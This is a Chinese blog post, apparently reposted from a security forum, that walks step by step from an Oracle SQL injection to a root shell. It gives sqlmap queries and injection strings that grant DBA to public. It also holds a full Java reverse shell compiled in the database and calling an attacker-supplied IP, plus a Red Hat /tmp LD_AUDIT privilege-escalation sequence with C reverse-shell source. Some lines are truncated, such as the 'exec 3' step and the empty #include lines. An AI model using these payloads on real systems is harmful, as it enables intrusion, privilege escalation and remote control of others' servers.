热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

Oracle从sqli到get(root)shell

本文记录一下oracle从SQLi到get(root)shell的过程。首发于首先我们需要一个ora

前言

本文记录一下oracle从SQLi到get (root) shell的过程。首发于 T00ls

首先我们需要一个oracle的一个注入点,oracle一般被用于大型企业或组织的数据库,所以它里面的权限划分、表间关系就变得尤其复杂,有时候即使能注出用户表也会存在 password 列做了视图或多表联合,导致拿不到真实的 password 。所以我们有必要对oracle数据库的信息做探测,我们可以通过sqlmap提供的 自定义 SQL 语句 执行这个功能探测一下用户权限、视图等信息,这里使用 --sql-query

--sql-query=QUERY   SQL statement to be executed

Example:
sqlmap -u "http://www.xxxx.com/index.php?ID=111" --sql-query "select username from users"

Oracle相关权限

session_privs

oracle中我们可以通过查询 session_privs 表得到当前用户的权限,如:

-- sqlmap output
select PRIVILEGE from session_privs [19]:
[*] ADMINISTER DATABASE TRIGGER
[*] ALTER ANY INDEX
[*] ALTER ANY TABLE
[*] CREATE ANY INDEX
[*] CREATE ANY VIEW
[*] CREATE CLUSTER
[*] CREATE INDEXTYPE
[*] CREATE OPERATOR
[*] CREATE PROCEDURE
[*] CREATE SEQUENCE
[*] CREATE SESSION
[*] CREATE TABLE
[*] CREATE TRIGGER
[*] CREATE TYPE
[*] DELETE ANY TABLE
[*] DROP ANY INDEX
[*] INSERT ANY TABLE
[*] SELECT ANY TABLE
[*] UNLIMITED TABLESPACE

这里我们重点注意这个 UNLIMITED TABLESPACE 权限,这个权限很高,高到可以满足我们后面执行 java 代码,导致任意代码执行、反弹shell。

unlimited tablespace是隐含在dba, resource角色中的一个系统权限

一般DBA要把这个 UNLIMITED TABLESPACE权限关掉

USER_CONSTRAINTS

引用docs.oracle:

USER_CONSTRAINTS describes all constraint definitions on tables owned by the current user. Its columns are the same as those in "ALL_CONSTRAINTS".

USER_CONSTRAINTS 存放了当前用户表的所有约束定义。所以我们可以通过这个查看当前用户表里是否存在对password的约束:

select constraint_name, constraint_type, table_name,index_name,search_condition, r_constraint_name from user_constraints where table_name = upper('YHB')

[*] SYS_C007280, C, YHB,  , None,  
[*] SYS_C007281, C, YHB,  , None,  
[*] SYS_C007282, P, YHB, SYS_C000082, None,

可以看到当前表下有三个约束条件。

user_cons_columns

USER_CONS_COLUMNS describes columns that are owned by the current user and that are specified in constraint definitions. Its columns are the same as those in “ALL_CONS_COLUMNS”.

查到约束名称后我们可以通过 user_cons_columns 查看当前用户拥有且在约束定义中指定的列。也就是得到约束作用的列(字段)。如:

select ower,table_name,column_name from user_cons_columns where constraint_name='SYS_C000280'

[*] PASSWORD
[*] YHB

这里明显看到有一个对password的约束,当你在dump用户表的时候如果发现password是none或者null,那么就有可能是因为约束的原因。

user_views

USER_VIEWS describes the views owned by the current user. Its columns (except for OWNER) are the same as those in ALL_VIEWS.

user_views 描述了当前用户拥有的视图。视图是oracle的一个重要组成部分,它使复杂查询SQL变得简单有效。

create or replace view v_complex
as
select table1.ename, table1.job, table2.dname from table1, dept where table1.deptno=table2.deptno
with check option ;

如上就把两个table做了一个联合查询的视图,具体的可以另寻参考。

在渗透中我们可以使用如下进行查询:

select VIEW_NAME,TEXT_LENGTH,TEXT from user_views [224]:
-- 省略

Java代码执行

在得到目标的基本信息后我们可以利用oracle对 Java 的支持进行 Java代码执行

前面说了 UNLIMITED TABLESPACE 可以满足我们代码执行的条件。如果权限不够的话可以通过下面的语句进行提权:

' and (SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS _OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant dba to public'''';END;'';END;--','SYS',0,'1',0)) is not null--

执行后可能会报这个错误:

服务器无法处理请求。 --> ORA-06550: line 1, column 7:
PLS-00201: identifier 'SYS.DBMS _OUTPUT' must be declared
ORA-06550: line 1, column 7:
PL/SQL: Statement ignored
ORA-06512: at "SYS.DBMS_EXPORT_EXTENSION", line 360

但在这个例子中并不会影响到我的操作,如果需要解决这个错误可以Google一下。

接着使用 java 反弹shell

创建Java反弹代码

' and (select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace and compile java source named "shell" as import java.io.*;import java.net.*;public class shell{public static void run() throws Exception {Socket s = new Socket("{your_ip}", {your_port});Process p = Runtime.getRuntime().exec("C:/Windows/System32/cmd.exe");new T(p.getInputStream(), s.getOutputStream()).start();new T(p.getErrorStream(), s.getOutputStream()).start();new T(s.getInputStream(), p.getOutputStream()).start();}static class T extends Thread {private InputStream i;private OutputStream u;public T(InputStream in, OutputStream out) {this.u = out;this.i = in;}public void run() {BufferedReader n = new BufferedReader(new InputStreamReader(i));BufferedWriter w = new BufferedWriter(new OutputStreamWriter(u));char f[] = new char[8192];int l;try {while ((l = n.read(f, 0, f.length)) > 0) {w.write(f, 0, l);w.flush();}} catch (IOException e) {}try {if (n != null)n.close();if (w != null)w.close();} catch (Exception e) {}}}}'''';END;'';END;--','SYS',0,'1',0) from dual) is not null--

格式化代码后就是如下语句:

import java.io.*;
import java.net.*;
public class shell {
    public static void run() throws Exception {
        Socket s = new Socket("{your_ip}", {your_port});
        Process p = Runtime.getRuntime().exec("C:/Windows/System32/cmd.exe");
        new T(p.getInputStream(), s.getOutputStream()).start();
        new T(p.getErrorStream(), s.getOutputStream()).start();
        new T(s.getInputStream(), p.getOutputStream()).start();
    }
    static class T extends Thread {
        private InputStream i;
        private OutputStream u;
        public T(InputStream in , OutputStream out) {
            this.u = out;
            this.i = in ;
        }
        public void run() {
            BufferedReader n = new BufferedReader(new InputStreamReader(i));
            BufferedWriter w = new BufferedWriter(new OutputStreamWriter(u));
            char f[] = new char[8192];
            int l;
            try {
                while ((l = n.read(f, 0, f.length)) > 0) {
                    w.write(f, 0, l);
                    w.flush();
                }
            } catch (IOException e) {}
            try {
                if (n != null) n.close();
                if (w != null) w.close();
            } catch (Exception e) {}
        }
    }
}

这里要注意区分目标系统,如果是 linux 就要改变执行的命令,否则会报:

服务器无法处理请求。 --> ORA-29532: Java call terminated by uncaught Java exception: java.io.IOException: can't exec: cmd.exe doesn't exist

此时尝试换成 /bin/bash

赋予Java可执行权限

上面只是相当于写了个文件,我们还需要给它加上可执行权限:

' and (select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.net.SocketPermission'''''''', ''''''''<>'''''''', ''''''''*'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual) is not null--

创建函数

' and (select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT" .PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace function reversetcp RETURN VARCHAR2 as language java name ''''''''shell.run() return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual) is not null--

这里创建了一个叫 reversetcp 的函数,函数里引用了上面我们创建的 shell 类( shell.run() )。

赋予函数执行权限

' and (select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT" .PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on reversetcp to public'''';END;'';END;--','SYS',0,'1',0) from dual) is not null--

执行reversetcp函数

' and (select sys.reversetcp from dual) is not null--

至此,就能将 shell 反弹到你的VPS里。

提权

一般oracle的用户的权限不会太高,所以我们要提至root。

首先对目标服务器做个信息收集(截选):

whoami
oracle

uname -r
2.6.18

cat /etc/issue
Red Hat release 5.3

在redhat5-6的系统中存在 /tmp 777权限 提权的漏洞。

在/tmp下创建一个 .redhat 的目录:

mkdir .redhat

接着利用 ping 这个命令,ping的权限很特殊是S,可以在普通用户使用这个命令的时候瞬间拥有这个命令的属主权限,这里是root.

ln /bin/ping /tmp/.redhat/target

再接着:

exec 3 
 

接着找个 C语言 版的shell:

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

void usage();
char shell[]="/bin/sh";
char message[]="hacker welcomen";
int sock;
int main(int argc, char *argv[]) {
if(argc <3){
usage(argv[0]);
}

struct sockaddr_in server;
if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
printf("Couldn't make socket!n"); exit(-1);
}

server.sin_family = AF_INET;
server.sin_port = htons(atoi(argv[2]));
server.sin_addr.s_addr = inet_addr(argv[1]);

if(connect(sock, (struct sockaddr *)&server, sizeof(struct sockaddr)) == -1) {
printf("Could not connect to remote shell!n");
exit(-1);
}
send(sock, message, sizeof(message), 0);
dup2(sock, 0);
dup2(sock, 1);
dup2(sock, 2);
execl(shell,"/bin/sh",(char *)0);
close(sock);
return 1;
}
void usage(char *prog[]) {
printf("Usage: %s  n", prog);
exit(-1);
}

编译:

gcc -w -fPIC -shared -o /tmp/.redhat oracle.c

运行:

LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3

即可得到一个root shell:

Oracle 从sqli到get (root) shell

参考链接

http://blog.51cto.com/akhack/1741615

https://www.cnblogs.com/chuanzifan/archive/2012/05/13/2497717.html

https://github.com/sqlmapproject/sqlmap/wiki/Usage

https://www.iswin.org/2015/06/13/hack-oracle/

https://blog.csdn.net/han_dongwei/article/details/40870197

HTTPie: a CLI, cURL-like tool for humans

https://www.t00ls.net/viewthread.php?tid=43881


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 我们


推荐阅读
  • 本文介绍了设计师伊振华受邀参与沈阳市智慧城市运行管理中心项目的整体设计,并以数字赋能和创新驱动高质量发展的理念,建设了集成、智慧、高效的一体化城市综合管理平台,促进了城市的数字化转型。该中心被称为当代城市的智能心脏,为沈阳市的智慧城市建设做出了重要贡献。 ... [详细]
  • 向QTextEdit拖放文件的方法及实现步骤
    本文介绍了在使用QTextEdit时如何实现拖放文件的功能,包括相关的方法和实现步骤。通过重写dragEnterEvent和dropEvent函数,并结合QMimeData和QUrl等类,可以轻松实现向QTextEdit拖放文件的功能。详细的代码实现和说明可以参考本文提供的示例代码。 ... [详细]
  • ALTERTABLE通过更改、添加、除去列和约束,或者通过启用或禁用约束和触发器来更改表的定义。语法ALTERTABLEtable{[ALTERCOLUMNcolu ... [详细]
  • MyBatis多表查询与动态SQL使用
    本文介绍了MyBatis多表查询与动态SQL的使用方法,包括一对一查询和一对多查询。同时还介绍了动态SQL的使用,包括if标签、trim标签、where标签、set标签和foreach标签的用法。文章还提供了相关的配置信息和示例代码。 ... [详细]
  • r2dbc配置多数据源
    R2dbc配置多数据源问题根据官网配置r2dbc连接mysql多数据源所遇到的问题pom配置可以参考官网,不过我这样配置会报错我并没有这样配置将以下内容添加到pom.xml文件d ... [详细]
  • web.py开发web 第八章 Formalchemy 服务端验证方法
    本文介绍了在web.py开发中使用Formalchemy进行服务端表单数据验证的方法。以User表单为例,详细说明了对各字段的验证要求,包括必填、长度限制、唯一性等。同时介绍了如何自定义验证方法来实现验证唯一性和两个密码是否相等的功能。该文提供了相关代码示例。 ... [详细]
  • 本文介绍了如何使用Express App提供静态文件,同时提到了一些不需要使用的文件,如package.json和/.ssh/known_hosts,并解释了为什么app.get('*')无法捕获所有请求以及为什么app.use(express.static(__dirname))可能会提供不需要的文件。 ... [详细]
  • 预备知识可参考我整理的博客Windows编程之线程:https:www.cnblogs.comZhuSenlinp16662075.htmlWindows编程之线程同步:https ... [详细]
  • Spring常用注解(绝对经典),全靠这份Java知识点PDF大全
    本文介绍了Spring常用注解和注入bean的注解,包括@Bean、@Autowired、@Inject等,同时提供了一个Java知识点PDF大全的资源链接。其中详细介绍了ColorFactoryBean的使用,以及@Autowired和@Inject的区别和用法。此外,还提到了@Required属性的配置和使用。 ... [详细]
  • MySQL语句大全:创建、授权、查询、修改等【MySQL】的使用方法详解
    本文详细介绍了MySQL语句的使用方法,包括创建用户、授权、查询、修改等操作。通过连接MySQL数据库,可以使用命令创建用户,并指定该用户在哪个主机上可以登录。同时,还可以设置用户的登录密码。通过本文,您可以全面了解MySQL语句的使用方法。 ... [详细]
  • 合并列值-合并为一列问题需求:createtabletab(Aint,Bint,Cint)inserttabselect1,2,3unionallsel ... [详细]
  • GreenDAO快速入门
    前言之前在自己做项目的时候,用到了GreenDAO数据库,其实对于数据库辅助工具库从OrmLite,到litePal再到GreenDAO,总是在不停的切换,但是没有真正去了解他们的 ... [详细]
  • 本文介绍了在使用Laravel和sqlsrv连接到SQL Server 2016时,如何在插入查询中使用输出子句,并返回所需的值。同时讨论了使用CreatedOn字段返回最近创建的行的解决方法以及使用Eloquent模型创建后,值正确插入数据库但没有返回uniqueidentifier字段的问题。最后给出了一个示例代码。 ... [详细]
  • 上图是InnoDB存储引擎的结构。1、缓冲池InnoDB存储引擎是基于磁盘存储的,并将其中的记录按照页的方式进行管理。因此可以看作是基于磁盘的数据库系统。在数据库系统中,由于CPU速度 ... [详细]
  • MySQL数据库锁机制及其应用(数据库锁的概念)
    本文介绍了MySQL数据库锁机制及其应用。数据库锁是计算机协调多个进程或线程并发访问某一资源的机制,在数据库中,数据是一种供许多用户共享的资源,如何保证数据并发访问的一致性和有效性是数据库必须解决的问题。MySQL的锁机制相对简单,不同的存储引擎支持不同的锁机制,主要包括表级锁、行级锁和页面锁。本文详细介绍了MySQL表级锁的锁模式和特点,以及行级锁和页面锁的特点和应用场景。同时还讨论了锁冲突对数据库并发访问性能的影响。 ... [详细]
author-avatar
倾听雨2502862143
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有